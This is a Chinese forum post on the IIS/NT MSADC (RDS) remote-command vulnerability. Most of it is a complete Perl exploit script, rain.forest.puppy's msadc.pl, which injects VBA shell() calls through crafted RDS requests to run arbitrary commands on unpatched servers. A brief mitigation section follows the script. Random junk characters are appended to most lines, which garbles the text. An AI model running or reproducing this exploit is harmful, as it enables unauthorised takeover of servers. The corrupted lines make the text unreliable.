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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) :8|3V~%m  
[#rdfN'?U  
涉及程序: eKFc W5O  
Microsoft NT server (xSi6EZ6;  
8qYGlew,  
描述: L\?g/l+k  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 |e; z"-3  
GGQ(|?w  
详细: =^AZx)Kwd  
如果你没有时间读详细内容的话,就删除: +?txGHQq  
c:\Program Files\Common Files\System\Msadc\msadcs.dll C\ >Mt  
有关的安全问题就没有了。 3k[<4-  
-5_xI)i  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 2gR_1*|  
~rJw$v  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 otH[?c?BT  
关于利用ODBC远程漏洞的描述,请参看: Q2pboZ86  
1z@# 8_@  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm k|c0tvp  
YGpp:8pen  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 x7kg_`\U  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp Jq<`j<'9  
u.4vp]eU  
这里不再论述。 |afK"N  
J8?6G&0H  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 'xXqEwi4  
w |FV qX  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset QOy&!6  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0i(?LI_S  
x|i3e& D  
QpTNU.v5f  
#将下面这段保存为txt文件,然后: "perl -x 文件名" DMZ aMY|  
${6'  
#!perl gw"l& r  
# =RE_Urt:  
# MSADC/RDS 'usage' (aka exploit) script c7Qa !w  
# Mciq9{8&  
# by rain.forest.puppy i\4"FO?v  
# +|)#yE$aMh  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me bY U+-|54  
# beta test and find errors! H^1 a3L]  
k3.p@8@:  
use Socket; use Getopt::Std; $M<4Bqr  
getopts("e:vd:h:XR", \%args); j!o3g;j  
"LIii1]k  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; y-q?pqt  
o9d$ 4s@/  
if (!defined $args{h} && !defined $args{R}) { ;Hp'x_xQ  
print qq~ TdIFZ[<7  
Usage: msadc.pl -h <host> { -d <delay> -X -v } v oS"X  
-h <host> = host you want to scan (ip or domain) GJ_)Cl+5E  
-d <seconds> = delay between calls, default 1 second ~@?-|xLqQ  
-X = dump Index Server path table, if available n)!_HNc9  
-v = verbose mXM>6>;y  
-e = external dictionary file for step 5 j/mp.'P1k  
+Q]'kJ<s  
Or a -R will resume a command session ugPI1'f  
tskODM0Zf  
~; exit;} &b")`p&K  
VEKITBs  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; #TwE??ms  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Q~!hr0 ZR  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} `v2l1CQ: ^  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); hg=G//  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} :bDn.`KG#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } @M?EgVmW  
QLU; .&  
if (!defined $args{R}){ $ret = &has_msadc; .FRF<_`^  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} E!l1a5qB  
v+bjC  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" <+,0 G`  
. "cmd /c "; HMd)64(  
$in=<STDIN>; chomp $in; cP=mJ1  
$command="cmd /c " . $in ; +p6\R;_E  
 CyDf[C)=  
if (defined $args{R}) {&load; exit;} /l%qq*Ew  
l:,UN07s  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; B{(l 5B6  
&try_btcustmr; BQ0PV  
Nb^:_0&H@  
print "\nStep 2: Trying to make our own DSN..."; &+^ Y>Ke  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; w=o m7%J@l  
-\C6j  
print "\nStep 3: Trying known DSNs..."; Qnx92   
&known_dsn; o xu9v/  
K05Y;URbd  
print "\nStep 4: Trying known .mdbs..."; ''Ec-b6Q-  
&known_mdb; )'|W[Sh?  
!Qa7-  
if (defined $args{e}){ |o) _=Fx  
print "\nStep 5: Trying dictionary of DSN names..."; n(S-F g  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } me^Gk/`Em  
zN JyF;3  
print "Sorry Charley...maybe next time?\n"; Vn;] ''_  
exit; *sVxjZvV  
TFPq(i  
############################################################################## %k)I =|  
j&GKpt  
sub sendraw { # ripped and modded from whisker K): sq{  
sleep($delay); # it's a DoS on the server! At least on mine... :#jv4N  
my ($pstr)=@_; .cog9H'  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 'p]qN;`'O$  
die("Socket problems\n"); 0\*<k`dY  
if(connect(S,pack "SnA4x8",2,80,$target)){ %$ ?Q%  
select(S); $|=1; d's`~HOU2  
print $pstr; my @in=<S>; *3Z#r  
select(STDOUT); close(S); tTp`e0L*m  
return @in; XhV"<&v  
} else { die("Can't connect...\n"); }} O#Hz5 A5  
!iOu07<n&D  
##############################################################################  +@7R,8  
EA#!h'-s  
sub make_header { # make the HTTP request L-gF$it\*b  
my $msadc=<<EOT E |3aiC,5  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (9|K}IM:  
User-Agent: ACTIVEDATA ^IkMRlJh%  
Host: $ip yo6IY  
Content-Length: $clen wuQkeWxJ  
Connection: Keep-Alive 7z&u92dJI  
`"Pd$jW  
ADCClientVersion:01.06 "ZW*O{  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 )\G#[Pc7  
y-k-E/V}  
--!ADM!ROX!YOUR!WORLD! vb!KuI!:p  
Content-Type: application/x-varg bYH_U4b  
Content-Length: $reqlen -v@^6bQVp  
k"zHrn"$  
EOT YaNVpLA  
; $msadc=~s/\n/\r\n/g; <qx-%6  
return $msadc;} O v6=|]cW  
Big-)7?  
############################################################################## J?$uNlI  
pl&GFf o  
sub make_req { # make the RDS request kk#d-! $[  
my ($switch, $p1, $p2)=@_; ,1L^#?Q~  
my $req=""; my $t1, $t2, $query, $dsn; ;\.&FMi  
TA7w:<  
if ($switch==1){ # this is the btcustmr.mdb query i+3b)xtW7  
$query="Select * from Customers where City=" . make_shell(); S/jHyJ,  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . oGJI3Oh  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 6fyW6xv[,  
~'iuh>O)  
elsif ($switch==2){ # this is general make table query HjD= .Q  
$query="create table AZZ (B int, C varchar(10))"; $y}Tbm  
$dsn="$p1";} &LYZQ?|  
g'E^@1{  
elsif ($switch==3){ # this is general exploit table query / KM+PeO  
$query="select * from AZZ where C=" . make_shell(); !<ucwWY,  
$dsn="$p1";} tWI hbt  
Y7HWf  
elsif ($switch==4){ # attempt to hork file info from index server YN[D^;}  
$query="select path from scope()"; ' ?t{-z,  
$dsn="Provider=MSIDXS;";} t-/^O  
IRB;Q(Z   
elsif ($switch==5){ # bad query ?zqXHv#x  
$query="select"; Gr?gHAT  
$dsn="$p1";} P6rL;_~e  
*L_wRhhk  
$t1= make_unicode($query); '#?hm-Ga  
$t2= make_unicode($dsn); '/?&Gol-  
$req = "\x02\x00\x03\x00"; u"ow?[E  
$req.= "\x08\x00" . pack ("S1", length($t1)); 3kg+*]tLx  
$req.= "\x00\x00" . $t1 ; &(0);I@fc  
$req.= "\x08\x00" . pack ("S1", length($t2)); q~C6+  
$req.= "\x00\x00" . $t2 ; 3:S"!F  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; up6LO7drW/  
return $req;} 9AaixI  
4 @h6|=  
############################################################################## $MHc4FE[  
ww*F}}(  
sub make_shell { # this makes the shell() statement M:N> {_1&  
return "'|shell(\"$command\")|'";} UPsh Y  
:T2K\@  
############################################################################## 'WoX-y  
-v] 0@jNe  
sub make_unicode { # quick little function to convert to unicode 8~7EWl  
my ($in)=@_; my $out; X.Kxio $o  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } w*0T"hK  
return $out;} h/ic-iH(>  
%' Fc%3  
############################################################################## y|ZJ-[qg  
?(N(8)G1  
sub rdo_success { # checks for RDO return success (this is kludge) j*nCIxF  
my (@in) = @_; my $base=content_start(@in); 6}0#({s:R  
if($in[$base]=~/multipart\/mixed/){ WqAP'x 1  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} SBA;p7^"  
return 0;} E#OKeMK  
Z1zC@z4sUj  
############################################################################## }|;n[+}  
}T6jQ:?@  
sub make_dsn { # this makes a DSN for us ^`$KN0PY  
my @drives=("c","d","e","f"); $: -Ptm@  
print "\nMaking DSN: "; tW +I?  
foreach $drive (@drives) { >:Ec   
print "$drive: "; -J:vYhq|g  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &o(? }W  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" l6RJour  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); LQ._?35r  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; k5 8lmuU  
return 0 if $2 eq "404"; # not found/doesn't exist MLJ8m  
if($2 eq "200") { KW)yTE<  
foreach $line (@results) { w t}a`hxu  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} zR:S.e<  
} return 0;} %PQC9{hUy$  
n*V^Q f  
############################################################################## 7@ZL(G  
/3fo=7G6  
sub verify_exists { k0,~wn\#h  
my ($page)=@_; !Bd2$y.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); /[mCK3_  
return $results[0];} Q8O38uZ  
*+iWB_  
############################################################################## [@(zGb8  
|h;MA,qva  
sub try_btcustmr { FD8aO?wvg  
my @drives=("c","d","e","f"); E+_ }8J .  
my @dirs=("winnt","winnt35","winnt351","win","windows"); nWh?zf#{  
Yq.Omr!  
foreach $dir (@dirs) { yRAb HG,c  
print "$dir -> "; # fun status so you can see progress tcs Z! #  
foreach $drive (@drives) { YEGXhn5E  
print "$drive: "; # ditto BZE19!  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; mu(S 9  
$reqlenlen=length( "$reqlen" ); ?/O+5rjA  
$clen= 206 + $reqlenlen + $reqlen; /OZF3Pft  
$0WAhq  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); s%Z3Zj(,8(  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} mZORV3bN  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ,ihTEw,t(  
a/_ `1  
############################################################################## btee;3`  
.DT1Jvl  
sub odbc_error { PR Y)hb;1  
my (@in)=@_; my $base; |_-FQ~Hf F  
my $base = content_start(@in); &iuc4"'  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this 2o,%O91p  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^<< Wqmx  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ^LZU><{';  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; " jy'Dpy0m  
return $in[$base+4].$in[$base+5].$in[$base+6];} z19y>j  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; +* &!u=%G  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Ly3^zF W  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} X(/W|RY{@  
#<)u%)`  
############################################################################## i~4:]r22  
e-Eoe_k  
sub verbose { o zv><e#  
my ($in)=@_; Lq yY??\@  
return if !$verbose; _m@QeO'yh  
print STDOUT "\n$in\n";} ;i1H {hB  
:.@gd7T  
############################################################################## <^M`U>   
1Azigd0%  
sub save { l( "_JI  
my ($p1, $p2, $p3, $p4)=@_; R# gip  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; )wAqaG_d  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; {>Zc#U'  
close OUT;} ]zu" x9-`  
Z$T1nm%lo:  
############################################################################## ;]|Z8#s  
RTSg=    
sub load { G<$UcXg  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; JGJQ5zt  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); .HMO7n6)8l  
@p=<IN>; close(IN); XjWoUnz  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 9Y~A2C  
$target= inet_aton($ip) || die("inet_aton problems"); JVU:`BH  
print "Resuming to $ip ..."; >0{{ loqq  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; " GgK,d}%  
if($p[1]==1) { $/6.4" j  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; 3:!+B=woR  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; \6*3&p  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 'Exj|Y&  
if (rdo_success(@results)){print "Success!\n";} u=A&n6Q[Vo  
else { print "failed\n"; verbose(odbc_error(@results));}} |nB2X;K5~  
elsif ($p[1]==3){ \DpXs[1  
if(run_query("$p[3]")){ :v=Yo  
print "Success!\n";} else { print "failed\n"; }} <kt,aMw[*  
elsif ($p[1]==4){ (eSa{C\  
if(run_query($drvst . "$p[3]")){ m>~%. (/x  
print "Success!\n"; } else { print "failed\n"; }} cs,%Zk.xjw  
exit;} F+|zCEc  
]7Tjt A.\q  
############################################################################## Wn<3|`c  
,qyH B2v  
sub create_table { y$7<ZBG  
my ($in)=@_; 9)'L,Xt4:T  
$reqlen=length( make_req(2,$in,"") ) - 28; In5' (UHW:  
$reqlenlen=length( "$reqlen" ); 8I3"68c_a  
$clen= 206 + $reqlenlen + $reqlen; jCxw|tmgq  
my @results=sendraw(make_header() . make_req(2,$in,"")); <Jv %}r  
return 1 if rdo_success(@results); ZEp UHdin  
my $temp= odbc_error(@results); verbose($temp); IA! ( 'Ks  
return 1 if $temp=~/Table 'AZZ' already exists/; 7 i,}F|#8  
return 0;} sd xl@  
IZoa7S&t  
############################################################################## \5cAOBja  
nxw]B"Eg  
sub known_dsn { Z25^+)uf*U  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go pS;jrq I#  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 1 f).J  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", Q&rpW:^v  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 6MqJy6  
\|RP-8  
foreach $dSn (@dsns) { J[ du>1D  
print "."; Ns?y) G>:  
next if (!is_access("DSN=$dSn")); H"6Sj-<=  
if(create_table("DSN=$dSn")){ w-pdpbHV  
print "$dSn successful\n"; y7txIe!<5  
if(run_query("DSN=$dSn")){  Q47Rriw  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { PSNfh7g  
print "Something's borked. Use verbose next time\n";}}} print "\n";} ]N,n7v+}  
$d'GCzYvZ  
############################################################################## cK"b0K/M?B  
#/\5a;Elc  
sub is_access { |/5j0  
my ($in)=@_; f =B)jYI  
$reqlen=length( make_req(5,$in,"") ) - 28; d~u+:[\=/  
$reqlenlen=length( "$reqlen" ); )=8MO-{  
$clen= 206 + $reqlenlen + $reqlen; x!"S`AM  
my @results=sendraw(make_header() . make_req(5,$in,"")); qQv?J]l  
my $temp= odbc_error(@results); R&PQU/t)  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 4Bsx[~ u&  
return 0;} 8xW_N"P.>  
Tl6%z9rY@  
############################################################################## FhVi|V a  
-L}crQl.'c  
sub run_query { hlWTsi4N  
my ($in)=@_; Xkk m~sM6  
$reqlen=length( make_req(3,$in,"") ) - 28; :)_Ap{9J  
$reqlenlen=length( "$reqlen" ); X!Xl  
$clen= 206 + $reqlenlen + $reqlen; 2&S*> (  
my @results=sendraw(make_header() . make_req(3,$in,"")); n(\5Z&  
return 1 if rdo_success(@results); X!KjRP\\  
my $temp= odbc_error(@results); verbose($temp); iqW T<WY  
return 0;} l:5x*QSX  
UJ3l8 %/`k  
############################################################################## O'a Srjl  
.gh3"  
sub known_mdb { -}_-#L!Q  
my @drives=("c","d","e","f","g"); -SnP+X!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); r~N0P|Tq  
my $dir, $drive, $mdb; <05\  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ^NKB  
8wKF.+_A  
# this is sparse, because I don't know of many tG+ E'OP  
my @sysmdbs=( "\\catroot\\icatalog.mdb", Q&S\?cKe  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", $y S7u  
"\\system32\\certmdb.mdb", j?K]0j;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ]~iOO %&R  
f^z/s6I0  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", S4508l  
"\\cfusion\\cfapps\\forums\\forums_.mdb", jl YnV/ ]  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", _1S^A0ft  
"\\cfusion\\cfapps\\security\\realm_.mdb", O RAKg.49  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", of!Bz  
"\\cfusion\\database\\cfexamples.mdb", SO^:6GuJ  
"\\cfusion\\database\\cfsnippets.mdb", xj~5/)XX|X  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", H48`z'o  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $\h\, N$y  
"\\cfusion\\brighttiger\\database\\cleam.mdb", zcnp?%  
"\\cfusion\\database\\smpolicy.mdb", [x Xa3W  
"\\cfusion\\database\cypress.mdb", ="hh=x.5J  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", fS+Ga1CsH  
"\\website\\cgi-win\\dbsample.mdb", >jMq-#*4  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", i'aV=E5  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" %9Br  
); #these are just E(N?.i-%$  
foreach $drive (@drives) { Y).5(t7zaR  
foreach $dir (@dirs){ !c,=%4Pb  
foreach $mdb (@sysmdbs) { z'OY6  
print "."; 2YI#J.6]H  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ r*CI6yP  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; AdMA|!|:hc  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ N'[bA  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; jp?;8rS3  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 'S]7:/CI  
mv_N ns  
foreach $drive (@drives) { X~wkqI#d%E  
foreach $mdb (@mdbs) {  JsAl;w  
print "."; 1ga.%M*  
if(create_table($drv . $drive . $dir . $mdb)){ c]3% wL  
print "\n" . $drive . $dir . $mdb . " successful\n"; p w(eWP  
if(run_query($drv . $drive . $dir . $mdb)){ r6k0=6i  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; HF>Gf2- C  
} else { print "Something's borked. Use verbose next time\n"; }}}} =>Ss:SGjT  
} Jv(9w[  
H=b54.J8&  
############################################################################## e }>8rnR{  
[ aC7  
sub hork_idx { 8G@Ie  
print "\nAttempting to dump Index Server tables...\n"; NGZEUtj  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; g$+u;ER5  
$reqlen=length( make_req(4,"","") ) - 28; ?`T< sk8c  
$reqlenlen=length( "$reqlen" ); :KY920/,  
$clen= 206 + $reqlenlen + $reqlen; )*< =:  
my @results=sendraw2(make_header() . make_req(4,"","")); $h"Ht2/ J  
if (rdo_success(@results)){ CZaUrr  
my $max=@results; my $c; my %d; evOy Tvc  
for($c=19; $c<$max; $c++){ qOOF]L9r%u  
$results[$c]=~s/\x00//g; {hYH4a&Hb  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 4pNIsjl}  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; G=?2{c}U  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; (3PkTQlE  
$d{"$1$2"}="";} -XNjyXm2  
foreach $c (keys %d){ print "$c\n"; } {KkP"j'7h  
} else {print "Index server doesn't seem to be installed.\n"; }} =[{YI2S  
78a!@T1#  
##############################################################################  "";[U  
W+N9~.q\^  
sub dsn_dict { '@OqWdaR  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); "o" ujQ(v  
while(<IN>){ 4wfT8CL  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; /'vCO |?L  
next if (!is_access("DSN=$dSn")); uFxhr2 <z  
if(create_table("DSN=$dSn")){ : V16bRpjL  
print "$dSn successful\n"; zzmZ`Ya  
if(run_query("DSN=$dSn")){ EAiE@r>4  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { sbnNk(XINQ  
print "Something's borked. Use verbose next time\n";}}} l-|hvv5g  
print "\n"; close(IN);} oS3}xT" U  
\Y;LbB8D  
############################################################################## s>y=-7:N  
AL*P 2\8  
sub sendraw2 { # ripped and modded from whisker ':al4m"  
sleep($delay); # it's a DoS on the server! At least on mine... kT|{5Kn&s  
my ($pstr)=@_; x0aPY;,N0  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0a<:.}  
die("Socket problems\n"); ?1%/G<  
if(connect(S,pack "SnA4x8",2,80,$target)){ 8z,i/:  
print "Connected. Getting data"; }<?1\k  
open(OUT,">raw.out"); my @in; 9nW/pv  
select(S); $|=1; print $pstr; 1e=<df  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} xDtq@Rb}  
close(OUT); select(STDOUT); close(S); return @in; 0sxZa+G0o  
} else { die("Can't connect...\n"); }} [Y@?l]&  
+%yVW f  
############################################################################## !YUMAp/  
#XSs.i{  
sub content_start { # this will take in the server headers cH$zDm1  
my (@in)=@_; my $c; />1Ndj  
for ($c=1;$c<500;$c++) { (S ~|hk^  
if($in[$c] =~/^\x0d\x0a/){ 43_;Z| T  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 0XwDk$l<  
else { return $c+1; }}} We7~tkl(  
return -1;} # it should never get here actually ]WLQ q4q  
m$glRs @  
############################################################################## o)w8 ]H /  
_3_d;j#G U  
sub funky { 4 yLC  
my (@in)=@_; my $error=odbc_error(@in); Yr9>ATR  
if($error=~/ADO could not find the specified provider/){ Twscc"mK  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; c*0pF=3  
exit;} T(UdV]~]"  
if($error=~/A Handler is required/){ -9Iz$ (>a  
print "\nServer has custom handler filters (they most likely are patched)\n"; xDRNtLj<u  
exit;} ;Y:_}kN8_  
if($error=~/specified Handler has denied Access/){ c,WRgXL  
print "\nServer has custom handler filters (they most likely are patched)\n"; P}=u8(u  
exit;}} ]7H ?  
$|0_[~0-n  
############################################################################## ;^QG>OP$  
j1{ @?  
sub has_msadc { z\iz6-\&y  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); [Yt!uhww  
my $base=content_start(@results); ?$ rSbw  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 2^-Z17Z}  
return 0;} I'"b3]DXG  
Z<7FF}i  
######################## -w8c;5X  
\5g7_3,3W  
%;5AF8#c  
解决方案: OyTEd5\3  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll lZyxJDZ A  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 k_A.aYe  
3hzI6otKS  
拿出来充数 哈哈
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